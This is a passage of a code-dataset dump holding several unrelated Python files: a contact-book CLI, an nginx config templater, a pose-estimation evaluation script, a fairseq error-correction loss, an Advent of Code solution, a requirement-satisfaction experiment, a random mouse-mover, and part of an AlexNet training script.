contatos da agenda')\r\n print('2 - Buscar contato')\r\n print('3 - Incluir contato')\r\n print('4 - Editar contato')\r\n print('5 - Excluir contato')\r\n print('6 - Exportar agenda')\r\n print('7 - Importar agenda')\r\n print('0 - Fechar agenda')\r\n print('------------------------------------------')\r\n\r\ncarregar()\r\nwhile True:\r\n imprimir_menu()\r\n opcao = input(\"Escolha um opção: \")\r\n if opcao == '1':\r\n mostrar_contatos()\r\n elif opcao == '2':\r\n contato = input(\"Digite o nome do contato: \")\r\n buscar_contato(contato.lower())\r\n elif opcao == '3':\r\n contato = input(\"Nome do contato: \")\r\n\r\n try:\r\n AGENDA[contato]\r\n print('Contato já existente.')\r\n except KeyError:\r\n telefone, email, endereco = ler_detalhes_contato()\r\n inserir_editar_contato(contato.lower(), telefone, email, endereco)\r\n\r\n elif opcao == '4':\r\n contato = input(\"Nome do contato: \")\r\n\r\n try:\r\n AGENDA[contato]\r\n print('Editando contato: ', contato)\r\n telefone, email, endereco = ler_detalhes_contato()\r\n inserir_editar_contato(contato.lower(), telefone, email, endereco)\r\n except KeyError:\r\n print('Contato inexistente.')\r\n\r\n elif opcao == '5':\r\n contato = input('Nome do contato: ')\r\n excluir_contato(contato.lower())\r\n elif opcao == '6':\r\n file_name = input('Digite o nome do arquivo a ser salvo: ')\r\n exportar_contatos(file_name)\r\n elif opcao == '7':\r\n file_name = input('Insira o caminho até o arquivo: ')\r\n importar_contatos(file_name)\r\n elif opcao == '0':\r\n print('Agenda fechada.')\r\n break\r\n else:\r\n print('Opção inválida.')","repo_name":"filipemagarotto/agenda_contatos","sub_path":"agenda.py","file_name":"agenda.py","file_ext":"py","file_size_in_byte":5670,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"24771274272","text":"#encoding: utf-8\r\n\r\nport = 8888\r\nserver = 'default'\r\nservername = 'cmdb'\r\naccess_log = '/var/log/cmdb.log'\r\nhome = '/home/kk/www'\r\nproxy_port = 9999\r\n\r\nrh = open('nginx.tpl')\r\nnginx_conf = rh.read().format(port=port, server=server, servername=servername, access_log=access_log, home=home, proxy_port=proxy_port)\r\nrh.close()\r\n\r\nhandler = open('cmdb.conf', 'w')\r\nhandler.write(nginx_conf)\r\nhandler.close()\r\n\r\n#作业\r\n#1. web访问日志\r\n#2. nginx配置文件模板 生成 固定项目配置\r\n#3. copy文件\r\n#4. 整理mm图\r\n","repo_name":"wangyiqing108/cmdb","sub_path":"user/code2/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":525,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"18353986069","text":"# -*- coding: utf-8 -*-\n\nimport glob, os\nimport numpy as np\nimport pandas as pd\nfrom os import path\nfrom math import radians\nfrom Modules.utils import get_parameter, get_args, figure_disappears, enum_test_files\nfrom Modules.coordinate_conversion import point_cloud2hcc, rotation_matrix\nfrom divide_and_conquer_BPC import discretization_setting\n\n\ndef make_JPP_ply(test_JPP_path, joint_positions):\n\n ply_header_lines = [\"ply\", \"format ascii 1.0\",\n \"element vertex 18\", \"property float x\", \"property float y\", \"property float z\",\n \"property uchar red\", \"property uchar green\", \"property uchar blue\",\n \"element edge 17\", \"property int vertex1\", \"property int vertex2\",\n \"property uchar red\", \"property uchar green\", \"property uchar blue\",\n \"end_header\"]\n part_labels = np.array([(63,0,0), (127,255,0), (191,255,191), (127,255,127), (63,127,0), (0,191,63),\n (127,63,0), (0,63,127), (255,63,255), (63,255,255), (255,63,0), (0,63,255),\n (63,0,63), (63,0,127), (255,127,127), (63,255,63), (191,127,63), (63,63,0)])\n joint_connection = [[1, 0], [2, 1], [3, 2],\n [2, 4], [2, 5], [4, 6], [5, 7], [6, 8], [7, 9], [8, 10], [9, 11],\n [3, 12], [3, 13], [12, 14], [13, 15], [14, 16], [15, 17]]\n\n joint_positions = np.c_[joint_positions, part_labels]\n edges = np.c_[np.array(joint_connection), np.tile(np.array([0, 255, 0]), (17, 1))]\n\n with open(test_JPP_path, 'w') as ply_file:\n for h_line in ply_header_lines:\n ply_file.write(h_line+\"\\n\")\n\n for joint_position in joint_positions:\n ply_file.write(\" \".join([str(x) for x in list(joint_position)[:3]]) + \" \")\n ply_file.write(\" \".join([str(int(x)) for x in list(joint_position)[3:]]) + \"\\n\")\n\n for edge in edges:\n ply_file.write(\" \".join([str(x) for x in list(edge)]) + \"\\n\")\n\n\ndef load_JPP_ply(ply_path):\n\n n_remaining_elements = 18\n vertex_flag = False\n joint_positions = []\n with open(ply_path) as ply_file:\n for line in ply_file:\n if \"end_header\" in line:\n vertex_flag = True\n elif vertex_flag and n_remaining_elements > 0:\n joint_positions.append(line.split()[:3])\n n_remaining_elements -= 1\n\n return np.array(joint_positions, dtype=np.float32)\n\n\ndef make_ground_truth(param_dict, wc_path, visible_joints):\n\n figure_name = param_dict[\"Figure Name\"]\n bvh_file_id = param_dict[\"BVH File Name\"]\n no_frame = int(param_dict[\"Frame No.\"] - 1)\n figure_rotation = param_dict[\"Figure Rotation\"]\n if figure_name == \"female\":\n fig_height = param_dict[\"Figure Height\"] / 170. * 173\n elif figure_name == \"male\":\n fig_height = param_dict[\"Figure Height\"] / 170. * 176\n else:\n raise ValueError(\"Invalid figure name.\")\n\n wc_filename = wc_path + bvh_file_id.replace(\".bvh\", \"_\" + figure_name + \"_pos\")\n wc_joint_positions = np.array(pd.read_csv(wc_filename, sep=\" \", header=None, dtype=np.float32))\n\n fig_height_in_bvh = np.max(wc_joint_positions[0, 1::3]) - np.min(wc_joint_positions[0, 1::3])\n ground_truth_tmp = wc_joint_positions[no_frame, :].reshape((38, 3)) * (fig_height / fig_height_in_bvh)\n\n# t_pose_gt = wc_joint_positions[0, :].reshape((38, 3))\n# fig_height_in_bvh = (t_pose_gt[18, :] + t_pose_gt[19, :]) / 2. - (3 * t_pose_gt[4, :] + t_pose_gt[6, :]) / 4.\n# ground_truth_tmp = wc_joint_positions[no_frame, :].reshape((38, 3)) * (fig_height / fig_height_in_bvh)\n\n female_chest_offset = np.array([0, 0, 7])\n a = 2.5\n ground_truth = np.zeros((18, 3))\n ground_truth[0, :] = (ground_truth_tmp[18, :] + ground_truth_tmp[19, :]) / 2 # Head\n ground_truth[1, :] = (ground_truth_tmp[16, :] + ground_truth_tmp[18, :]) / 2 # neck\n ground_truth[2, :] = (ground_truth_tmp[15, :] + ground_truth_tmp[13, :]) / 2 + female_chest_offset # Chest\n ground_truth[3, :] = (a * ground_truth_tmp[13, :] + (1-a) * ground_truth_tmp[15, :]) # Waist\n ground_truth[4:10, :] = ground_truth_tmp[[30, 21, 31, 22, 32, 23], :] # Shoulder, Elbow, Wrist\n ground_truth[10, :] = (3 * ground_truth_tmp[32, :] + ground_truth_tmp[35, :]) / 4 # lHand 手の甲\n ground_truth[11, :] = (3 * ground_truth_tmp[23, :] + ground_truth_tmp[26, :]) / 4 # rHand 手の甲\n #ground_truth[10, :] = (ground_truth_tmp[32, :] + ground_truth_tmp[35, :]) / 2 # lHand 指の付け根\n #ground_truth[11, :] = (ground_truth_tmp[23, :] + ground_truth_tmp[26, :]) / 2 # rHand 指の付け根\n ground_truth[12:16, :] = ground_truth_tmp[[9, 3, 10, 4], :] # Knee, Ankle\n ground_truth[16, :] = (3 * ground_truth_tmp[10, :] + ground_truth_tmp[12, :]) / 4 # lFoot\n ground_truth[17, :] = (3 * ground_truth_tmp[4, :] + ground_truth_tmp[6, :]) / 4 # rFoot\n\n for i in range(ground_truth.shape[0]):\n ground_truth[i, :] = np.dot(ground_truth[i, :], rotation_matrix(radians(-figure_rotation), \"y\"))\n\n# gt_human_bottom = np.array([0, np.min(ground_truth[:, 1]), 0])\n# gt_human_bottom = np.array([0, ground_truth[3, 1], 0])\n# ground_truth -= np.tile(gt_human_bottom, (ground_truth.shape[0], 1))\n gt_human_center = np.mean(ground_truth[visible_joints], axis=0)\n# gt_human_center = np.array([ground_truth[3, 0], 0, ground_truth[3, 2]])\n ground_truth -= np.tile(gt_human_center, (ground_truth.shape[0], 1))\n\n return ground_truth\n\n\ndef JPP_precision():\n\n args = get_args()\n\n discr_setting_type = args.discr_setting_type\n n_train_images = args.n_train_images\n\n data_path = args.data_path\n jpp_path = data_path + \"Main/JointPositionPrediction/\"\n bpc_path = data_path + \"Main/BodyPartClassification/\"\n jpp_gt_path = jpp_path + \"GroundTruth/\"\n jpp_out_path = jpp_path + \"Output/\"\n eval_path = jpp_path + \"Evaluation/\"\n wc_path = data_path + \"Preprocessing/MotionBVH/WC/\"\n\n target_joint_names = [\"Head\", \"neck\", \"Chest\", \"Waist\",\n \"rShoulder\", \"lShoulder\", \"rElbow\", \"lElbow\", \"rWrist\", \"lWrist\", \"rHand\", \"lHand\",\n \"rKnee\", \"lKnee\", \"rAnkle\", \"lAnkle\", \"rFoot\", \"lFoot\"]\n gt_joint_names = [\"Hip\",\n \"lButtock\", \"Left Thigh\", \"Left Shin\", \"Left Foot\", \"lToe\", \"Site\",\n \"rButtock\", \"Right Thigh\", \"Right Shin\", \"Right Foot\", \"rToe\", \"Site\",\n \"Waist\", \"Abdomen\", \"Chest\", \"Neck\", \"Neck1\", \"Head\", \"Site\",\n \"Left Collar\", \"Left Shoulder\", \"Left Forearm\", \"Left Hand\" \"LeftFingerBase\", \"LFingers\", \"Site\", \"lThumb1\", \"Site\",\n \"Right Collar\", \"Right Shoulder\", \"Right Forearm\", \"Right Hand\", \"RightFingerBase\", \"RFingers\", \"Site\", \"rThumb1\", \"Site\"]\n joint_connection = [[1, 0], [2, 1], [3, 2],\n [2, 4], [2, 5], [4, 6], [5, 7], [6, 8], [7, 9], [8, 10], [9, 11],\n [3, 12], [3, 13], [12, 14], [13, 15], [14, 16], [15, 17]]\n n_joints = len(target_joint_names)\n\n n_test_images = args.n_test_images\n test_filenames = enum_test_files(args.data_path, args.test_path, n_test_images)\n test_filename_ids = [\"/\".join(f.split(\"/\")[-2:]) for f in test_filenames]\n\n setting_str = \"_\" + str(n_train_images) + (\"_%s\" % discr_setting_type if discr_setting_type else \"\")\n\n if discr_setting_type:\n discr_setting_path = bpc_path + \"Intermediate/discretization_setting/\"\n discr_setting_filename = \"%s%s.csv\" % (discr_setting_path, discr_setting_type)\n\n average_precision_path = eval_path + \"JPP_average_precision\" + setting_str + \"_nb.csv\"\n average_error_path = eval_path + \"JPP_average_error\" + setting_str + \"_nb.csv\"\n all_errors_path = eval_path + \"JPP_all_errors\" + setting_str + \"_nb.csv\"\n n_per_joint_correct = np.zeros((n_joints, 1))\n prediction_errors = np.zeros((n_joints+1, n_test_images))\n n_pass_files = 0\n\n for i, test_filename in enumerate(test_filenames):\n\n test_filename_id = test_filename_ids[i]\n print(\"%d: %s\" % (i, test_filename_id))\n if discr_setting_type:\n discr_idx = int(test_filename_id.split(\"_\")[-1])\n discr_regions = discretization_setting(discr_setting_filename)\n for d in discr_regions:\n if discr_idx in d:\n discr_name = str(d)\n test_param_path = test_filename + \"_param\"\n test_gt_path = jpp_gt_path + test_filename_id + \"_gt.ply\"\n test_JPP_path = jpp_out_path + test_filename_id + \"_\" + str(n_train_images) + (\"_%s\" % discr_name if discr_setting_type else \"\") + \"_nb_JPP.ply\"\n# test_JPP_hcc_path = JPP_OUT_PATH + test_filename_id + setting_str + \"_JPP_hcc.ply\"\n error_path = eval_path + test_filename_id + setting_str + \"_nb_JPP_error.csv\"\n\n if not os.path.exists(test_JPP_path):\n print(\"Pass %s\" % (test_JPP_path))\n prediction_errors[:, i] = np.nan\n n_pass_files += 1\n continue\n\n predicted_joint_positions = load_JPP_ply(test_JPP_path)\n\n visible_joints = []\n invisible_joints = []\n for j in range(n_joints):\n if np.sum(np.abs(predicted_joint_positions[j, :])) == 0:\n invisible_joints.append(j)\n print(\"%s is invisible.\" % target_joint_names[j])\n else:\n visible_joints.append(j)\n visible_joints = np.array(visible_joints)\n invisible_joints = np.array(invisible_joints)\n\n param_dict = get_parameter(test_param_path)\n if path.exists(test_gt_path) and False:\n ground_truth = load_JPP_ply(test_gt_path)\n else:\n ground_truth = make_ground_truth(param_dict, wc_path, visible_joints)\n make_JPP_ply(test_gt_path, ground_truth)\n\n per_joint_error = np.sqrt(np.sum((ground_truth - predicted_joint_positions) ** 2, axis=1))\n if invisible_joints.shape[0] != 0:\n per_joint_error[invisible_joints] = np.nan\n mean_error = np.nanmean(per_joint_error, axis=0)\n prediction_error = np.r_[per_joint_error, mean_error]\n prediction_errors[:, i] = prediction_error\n\n pd.DataFrame(prediction_error, index=target_joint_names+[\"Mean\"]).to_csv(error_path, header=False)\n print(\"\\tMean Error is %fcm\" % mean_error)\n\n for j in range(n_joints):\n if per_joint_error[j] <= 10:\n n_per_joint_correct[j] += 1\n\n print(n_pass_files)\n\n average_precision = n_per_joint_correct / n_test_images * 100\n mean_average_precision = np.nanmean(average_precision)\n pd.DataFrame(np.r_[average_precision.flatten(), mean_average_precision], index=target_joint_names+[\"Mean\"]).to_csv(average_precision_path, header=False)\n print(\"mAP is %f%%\" % np.mean(average_precision))\n\n mean_errors = np.nanmean(prediction_errors, axis=1)\n pd.DataFrame(mean_errors, index=target_joint_names+[\"Mean\"]).to_csv(average_error_path, header=False)\n print(\"Mean error is %fcm\" % mean_errors[-1])\n\n pd.DataFrame(prediction_errors, columns=test_filename_ids, index=target_joint_names+[\"Mean\"]).to_csv(all_errors_path, header=True)\n\n\nif __name__ == \"__main__\":\n JPP_precision()\n","repo_name":"AtsushiHashimoto/KinectOnTheCeiling","sub_path":"PoseEstimation/Script/Main/JPP_precision.py","file_name":"JPP_precision.py","file_ext":"py","file_size_in_byte":11240,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"36866089846","text":"import math\nimport torch\nimport torch.nn.functional as F\n\nfrom fairseq import utils\n\nfrom . import FairseqCriterion, register_criterion\n\n\n@register_criterion('gec_loss')\nclass GECLossCriterion(FairseqCriterion):\n \"\"\"A weighted cross-entropy criterion with\n an auxiliary source-side token-label classification.\"\"\"\n def __init__(self, args, task):\n super().__init__(args, task)\n # Note: self.padding_idx defaults to the target dictionary's pad index\n self.src_padding_idx = task.source_dictionary.pad()\n\n self.edit_weighted_loss = args.edit_weighted_loss\n if self.edit_weighted_loss != 1.0:\n print(f\"using edit-weighted MLE loss \"\n f\"with scale {self.edit_weighted_loss}\")\n self.edit_label_prediction = args.edit_label_prediction\n if self.edit_label_prediction > 0.0:\n print(f\"using auxiliary edit label prediction loss \"\n f\"with scale {self.edit_label_prediction}\")\n\n # Check that the model provides required options.\n if (self.edit_label_prediction > 0.0 and\n not getattr(args, 'predict_edit_labels', None)):\n raise ValueError(\"model must have predict_edit_labels==True\")\n if (self.edit_label_prediction == 0.0 and\n getattr(args, 'predict_edit_labels', None)):\n print(\"WARNING: edit labels are predicted by the model \"\n \"but not included in the training objective.\")\n\n @staticmethod\n def add_args(parser):\n \"\"\"Add criterion-specific arguments to the parser.\"\"\"\n # fmt: off\n parser.add_argument('--edit-weighted-loss', type=float, default=3.0,\n help='use edit-weighted MLE loss for targets'\n '(default: 3.0; ignored if 1.0)')\n parser.add_argument('--edit-label-prediction', type=float, default=1.0,\n help='additionally predict edit labels from '\n 'encoder outputs, using given scale.'\n '(default: 1.0; ignored if 0.0)')\n # fmt: on\n\n def forward(self, model, sample, reduce=True):\n \"\"\"Compute the loss for the given sample.\n\n Returns a tuple with three elements:\n 1) the loss\n 2) the sample size, which is used as the denominator for the gradient\n 3) logging outputs to display while training\n \"\"\"\n net_output = model(**sample['net_input'])\n loss, edit_label_loss = self.compute_loss(model, net_output, sample, reduce=reduce)\n if edit_label_loss is not None:\n loss = loss + self.edit_label_prediction * edit_label_loss\n sample_size = sample['target'].size(0) if self.args.sentence_avg else sample['ntokens']\n logging_output = {\n 'loss': utils.item(loss.data) if reduce else loss.data,\n 'edit_label_loss': utils.item(edit_label_loss.data) if edit_label_loss is not None else 0.0,\n 'ntokens': sample['ntokens'],\n 'nsentences': sample['target'].size(0),\n 'sample_size': sample_size,\n }\n return loss, sample_size, logging_output\n\n def compute_loss(self, model, net_output, sample, reduce=True):\n lprobs = model.get_normalized_probs(net_output, log_probs=True)\n lprobs = lprobs.view(-1, lprobs.size(-1)) # (B x T_dec) x V\n target = model.get_targets(sample, net_output).view(-1) # (B x T_dec)\n\n # Compute token-level weights based on target-side token labels.\n # weights: edit_weighted_loss if tgt_labels == 1 else 1.0\n edit_weights = sample['tgt_labels'].float().view(-1) # B x T_dec\n edit_weights = (self.edit_weighted_loss - 1.) * edit_weights + 1.\n loss = F.nll_loss(lprobs, target, ignore_index=self.padding_idx,\n reduction='none')\n loss = edit_weights * loss\n if reduce:\n loss = torch.sum(loss)\n\n # Optionally add auxiliary loss from source-side edit label prediction.\n # Always reduced (dimension differs from loss).\n if self.edit_label_prediction > 0.0:\n # All three tensors have the same shape: (B x T_enc)\n src_nonpads = sample['net_input']['src_tokens'].ne(self.src_padding_idx)\n edit_logits = net_output[1]['edit_logits'].squeeze(-1).transpose(0, 1)\n src_labels = sample['src_labels'].float()\n edit_label_loss = F.binary_cross_entropy_with_logits(\n edit_logits[src_nonpads],\n src_labels[src_nonpads],\n reduction='sum'\n )\n else:\n edit_label_loss = None\n\n return loss, edit_label_loss\n\n @staticmethod\n def aggregate_logging_outputs(logging_outputs):\n \"\"\"Aggregate logging outputs from data parallel training.\"\"\"\n loss_sum = sum(log.get('loss', 0) for log in logging_outputs)\n edit_label_loss_sum = sum(log.get('edit_label_loss', 0) for log in logging_outputs)\n ntokens = sum(log.get('ntokens', 0) for log in logging_outputs)\n nsentences = sum(log.get('nsentences', 0) for log in logging_outputs)\n sample_size = sum(log.get('sample_size', 0) for log in logging_outputs)\n agg_output = {\n 'loss': loss_sum / sample_size / math.log(2),\n 'edit_label_loss': edit_label_loss_sum / sample_size,\n 'ntokens': ntokens,\n 'nsentences': nsentences,\n 'sample_size': sample_size,\n }\n if sample_size != ntokens:\n agg_output['nll_loss'] = loss_sum / ntokens / math.log(2)\n return agg_output\n","repo_name":"kakaobrain/helo-word","sub_path":"fairseq/fairseq/criterions/gec_loss.py","file_name":"gec_loss.py","file_ext":"py","file_size_in_byte":5642,"program_lang":"python","lang":"en","doc_type":"code","stars":88,"dataset":"github-code","pt":"21"} +{"seq_id":"32776065902","text":"file = open(\"./1/input.txt\", \"r\")\nlines = file.readlines()\n\n# keeps track of the max calories an elf can have\nelfMaxCalories = [0,0,0]\n\nglobalCounter = 0\nelfTotalCalories = {}\n\nfor line in lines:\n # parse out return\n parsedLine = line.replace(\"\\n\", \"\")\n # check if the line is empty\n\n if parsedLine == \"\":\n currentCalories = elfTotalCalories[globalCounter]\n if currentCalories > elfMaxCalories[0]:\n elfMaxCalories[2] = elfMaxCalories[1]\n elfMaxCalories[1] = elfMaxCalories[0]\n elfMaxCalories[0] = currentCalories\n elif currentCalories > elfMaxCalories[1]:\n elfMaxCalories[2] = elfMaxCalories[1]\n elfMaxCalories[1] = currentCalories\n elif currentCalories > elfMaxCalories[2]:\n elfMaxCalories[2] = currentCalories\n globalCounter += 1\n else:\n if(globalCounter not in elfTotalCalories):\n elfTotalCalories[globalCounter] = int(parsedLine)\n else:\n elfTotalCalories[globalCounter] += int(parsedLine)\n\nprint(sum(elfMaxCalories))","repo_name":"wzsun/AdventOfCode2022","sub_path":"1/day1.py","file_name":"day1.py","file_ext":"py","file_size_in_byte":1072,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"18160139370","text":"\"\"\"This is an idea for creating a system for figuring out how to navigate between a potentially heterogenous set of requirements in an automated way.\"\"\"\n\n\n\n# > idea: have option to poll a certain proportion of the requirements\n# > idea: reduce priority once requirement has no further ideas to add (update ease to bias)\n\nfrom random import random\nfrom typing import Any, Callable, Tuple\n\nimport numpy as np\n\nclass RequirementInfo:\n \"\"\"A class to keep track of a requirement's information.\"\"\"\n def __init__(self, id: int, importance: int, ease: int, requirement: Callable, satisfaction: int):\n self.id = id\n self.importance = importance\n self.ease = ease\n self.requirement = requirement\n self.satisfaction = satisfaction\n \n @property\n def priority(self) -> int:\n return self.importance * ((1-self.satisfaction)/(4*self.satisfaction+1)) * self.ease\n\ndef is_satisfied(requirement_tracker: list[RequirementInfo]) -> bool:\n \"\"\"Determines whether all of the requirements in the tracker are satisfied.\n \n Parameters\n ----------\n A list of RequirementInfo objects to check the satisfaction of.\n \n Returns\n -------\n Whether all of the requirements in the tracker are satisfied.\n \"\"\"\n for info in requirement_tracker:\n if info.satisfaction < 1:\n return False\n return True\n\ndef get_satisfaction(requirement_tracker: list[RequirementInfo]) -> float:\n \"\"\"Gets the satisfaction of all of the requirements in the tracker.\n \n Parameters\n ----------\n requirement_tracker : list[RequirementInfo]\n A list of RequirementInfo objects to get the satisfaction of.\n \n Returns\n -------\n float\n The satisfaction of all of the requirements in the tracker.\n \"\"\"\n return sum([info.satisfaction * info.importance for info in requirement_tracker])\n\ndef find_satisfaction(requirement_tracker: list[RequirementInfo], state: Any) -> float:\n \"\"\"Gets the satisfaction of all of the requirements in the tracker, for a potential state to evaluate.\n \n Parameters\n ----------\n requirement_tracker : list[RequirementInfo]\n A list of RequirementInfo objects to find the satisfaction of.\n state : Any\n The state to evaluate the satisfaction of the requirements for.\n \n Returns\n -------\n float\n The summed satisfaction of all of the requirements in the tracker, given the state.\n \"\"\"\n\n return sum([info.importance * max(0, min(1, info.requirement(state)[0])) for info in requirement_tracker])\n\ndef update_satisfaction(requirement_tracker: list[RequirementInfo], state: Any) -> None:\n \"\"\"Updates the satisfaction of all of the requirements in the tracker, given a state to evaluate.\n \n Parameters\n ----------\n requirement_tracker : list[RequirementInfo]\n A list of RequirementInfo objects to update the satisfaction of.\n state : Any\n The state to update the satisfaction of the requirements for.\n\n Returns\n -------\n None\n \"\"\"\n for info in requirement_tracker:\n info.satisfaction = max(0, min(1, info.requirement(state)[0]))\n return\n\ndef apply_requirements(requirements: list[Callable[[Any], Tuple[float, Callable[[Any], Any]]]], initial_state: Any, importance: list[int], stalemate_threshold: int=5) -> Tuple[Any, dict]:\n \"\"\"Applies the requirements to the initial state, returning the final state and a dictionary of how the requirements were satisfied.\n \n Parameters\n ----------\n requirements : list[Callable[[Any], Tuple[float, Callable[[Any], Any]]]]\n A list of requirements that apply to the state.\n initial_state : Any\n The initial state to apply the requirements to.\n importance : list[int]\n A list of importance values for the requirements. More important requirements will get more consideration when calculating the satisfaction score.\n stalemate_count : int, optional\n The number of times to try to apply the requirements to the state without improvements before giving up. The default is 5.\n\n Returns\n -------\n Tuple[Any, dict]\n A tuple of the final state and a dictionary of how well each of the requirements were satisfied.\n \"\"\"\n\n if importance is None: importance = [1] * len(requirements)\n state = initial_state\n \n # initiate the requirement tracking\n requirement_tracker = []\n for requirement, importance in zip(requirements, importance):\n satisfaction, _ = requirement(state)\n requirement_tracker.append(RequirementInfo(len(requirement_tracker), importance, 1, requirement, satisfaction))\n\n stalemate_count = 0\n while(not is_satisfied(requirement_tracker) and stalemate_count < stalemate_threshold):\n # track whether the rating improvement process has stalled\n current_satisfaction = get_satisfaction(requirement_tracker)\n new_satisfaction = current_satisfaction\n\n print(stalemate_count, state)\n\n # find the highest priority requirement and evaluate its proposal via the other requirements\n for info in sorted(requirement_tracker, key=lambda x: x.priority, reverse=True):\n _, proposal = info.requirement(state)\n proposed_state = proposal(state)\n proposal_rating = find_satisfaction(requirement_tracker, proposed_state)\n if proposal_rating > current_satisfaction:\n state = proposed_state\n new_satisfaction = proposal_rating\n update_satisfaction(requirement_tracker, state)\n break\n # if the proposal causes the satisfaction score to go down, reduce how easy the requirement is to satisfy\n if proposal_rating < current_satisfaction:\n info.ease *= 0.5\n \n # if the satisfaction rating has not improved, increase the stalemate count\n if current_satisfaction == new_satisfaction:\n stalemate_count += 1\n\n return state, {info.id: info.satisfaction for info in requirement_tracker}\n\ndef test_apply_requirements():\n \"\"\"A Test function for `apply_requirements`.\"\"\"\n def test_less_1k(n):\n if n < 1000:\n satisfaction = 1\n else:\n satisfaction = 999/n\n proposal = lambda n: n if n < 1000 else int(n/2 - 50*random())\n return satisfaction, proposal\n\n def test_is_odd(n):\n if n % 2 == 1:\n satisfaction = 1\n else:\n satisfaction = 0\n proposal = lambda n: n if n % 2 == 1 else n+1\n return satisfaction, proposal\n\n def ends_with_3(n):\n if n % 10 == 3:\n satisfaction = 1\n else:\n satisfaction = 0\n proposal = lambda n: n if n % 10 == 3 else n + 13 - (n % 10)\n return satisfaction, proposal\n\n def is_large(n):\n satisfaction = max(0, (n-1)/(n))\n proposal = lambda n: int(n*1.5 * (random()+1))\n return satisfaction, proposal\n\n def test_is_prime(n):\n def is_prime(n):\n if n < 2:\n return False\n for i in range(2, int(np.sqrt(n))+1):\n if n % i == 0:\n return False\n return True\n satisfaction = 1 if is_prime(n) else 0\n proposal = lambda n: n if is_prime(n) else int(n+10*random())\n return satisfaction, proposal\n return apply_requirements([test_is_prime, test_less_1k, test_is_odd, ends_with_3], 2000, [1, 1, 1, 1], 10000)\n","repo_name":"jcha-ultra/toolkit","sub_path":"misc/experiments/satisfier.py","file_name":"satisfier.py","file_ext":"py","file_size_in_byte":7473,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"41286139315","text":"#pip install pyautogui\n#pip install psutil\n\nimport pyautogui\nimport psutil\nfrom random import randint\nimport time\nimport os\nimport sys\n\nwhile True:\n valor = 0\n\n for a in range(1920):\n x = randint(0, 1920)\n y = randint(120, 1032)\n pyautogui.moveTo(x, y, duration = 1)\n valor = valor + 1\n if valor == 5:\n click = randint(1, 3)\n if click == 1:\n pyautogui.leftClick(x, y)\n print(f'Left click on coords: {x} : {y}')\n if click == 2:\n pyautogui.middleClick(x, y)\n print(f'Right click on coords: {x} : {y}')\n if click == 3:\n pyautogui.rightClick(x, y)\n time.sleep(2)\n pyautogui.rightClick(x, y)\n print(f'Middle click on coords: {x} : {y}')\n valor = 0\n time.sleep(5)\ntime.sleep(60)\n\n\n","repo_name":"FelipeIzui/mouse_fake_afk","sub_path":"mouse.py","file_name":"mouse.py","file_ext":"py","file_size_in_byte":898,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"43907901910","text":"'''\n 2022.11.18. EE7107 @ KENTECH\n Image classification with AlexNet\n\n Requirements:\n Please install PyTorch in your local server.\n https://pytorch.org/\n Stable (1.13.0) >> Linux >> Conda >> Python >> CUDA xx.x\n'''\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n# from torchsummary import summary\nfrom torchvision import transforms\nfrom matplotlib import pyplot as plt\nimport pdb\nimport torchvision.datasets as datasets\nimport torch.optim as optim\n\n\nclass AlexNet(nn.Module):\n def __init__(self):\n super(AlexNet, self).__init__()\n # [Q] Please fill in the input parameters below:\n self.conv1 = nn.Conv2d(in_channels=1, out_channels=96, kernel_size=11, stride=4) # input 1 channel image (MNIST_Fashion)\n self.conv2 = nn.Conv2d(in_channels=96, out_channels=256, kernel_size=5, padding=2)\n self.conv3 = nn.Conv2d(in_channels=256, out_channels=384, kernel_size=3, padding=1)\n self.conv4 = nn.Conv2d(in_channels=384, out_channels=384, kernel_size=3, padding=1)\n self.conv5 = nn.Conv2d(in_channels=384, out_channels=256, kernel_size=3, padding=1)\n self.fc1 = nn.Linear(in_features=9216, out_features=4096) # 256*6*6=9216\n self.fc2 = nn.Linear(in_features=4096, out_features=4096)\n self.fc3 = nn.Linear(in_features=4096, out_features=1000)\n \n def forward(self, x):\n # [Q] (Use pdb) Please answer the shape of following tensors:\n # pdb.set_trace()\n # x.shape: torch.Size([1, 1, 227, 227])\n x = F.relu(self.conv1(x))\n # x.shape: torch.Size([1, 96, 55, 55])\n x = F.max_pool2d(x, kernel_size=3, stride=2)\n # x.shape: torch.Size([1, 96, 27, 27])\n x = F.relu(self.conv2(x))\n # x.shape: torch.Size([1, 256, 27, 27])\n x = F.max_pool2d(x, kernel_size=3, stride=2)\n # x.shape: torch.Size([1, 256, 13, 13])\n x = F.relu(self.conv3(x))\n # x.shape: torch.Size([1, 384, 13, 13])\n x = F.relu(self.conv4(x))\n # x.shape: torch.Size([1, 384, 13, 13])\n x = F.relu(self.conv5(x))\n # x.shape: torch.Size([1, 256, 13, 13])\n x = F.max_pool2d(x, kernel_size=3, stride=2)\n # x.shape: torch.Size([1, 256, 6, 6])\n x = x.view(x.size(0), -1) # flatten\n # x.shape: torch.Size([1, 9216])\n \n x = F.relu(self.fc1(x))\n # x.shape: torch.Size([1, 4096])\n x = F.dropout(x, p=0.5)\n x = F.relu(self.fc2(x))\n # x.shape: torch.Size([1, 4096])\n x = F.dropout(x, p=0.5)\n x = F.log_softmax(self.fc3(x), dim=1)\n # x.shape: torch.Size([1, 1000])\n \n return x \n \n @staticmethod\n def transform():\n return transforms.Compose([transforms.Resize((227, 227)),\n transforms.ToTensor(),\n transforms.Normalize(mean=(0.1307,), std=(0.3081,))])\n '''\n [Q] What does \"Normalize()\" mean?\n to make values' range to 0 ~ 1\n the values become small\n '''\n\n\nif __name__==\"__main__\":\n # if gpu is to be used\n use_cuda = torch.cuda.is_available()\n print(\"use_cuda : \", use_cuda)\n \n FloatTensor = torch.cuda.FloatTensor if use_cuda else torch.FloatTensor\n device= torch.device(\"cuda:0\" if use_cuda else \"cpu\")\n \n net = AlexNet().to(device)\n \n # forward-pass random variable\n X = torch.randn(size=(1, 1, 227, 227)).type(FloatTensor)\n print(net(X))\n # print(summary(net, (1, 227, 227))) \n\n\n # hyper parameter\n batch_size = 512\n num_epochs = 20\n # num_epochs = 10\n learning_rate = 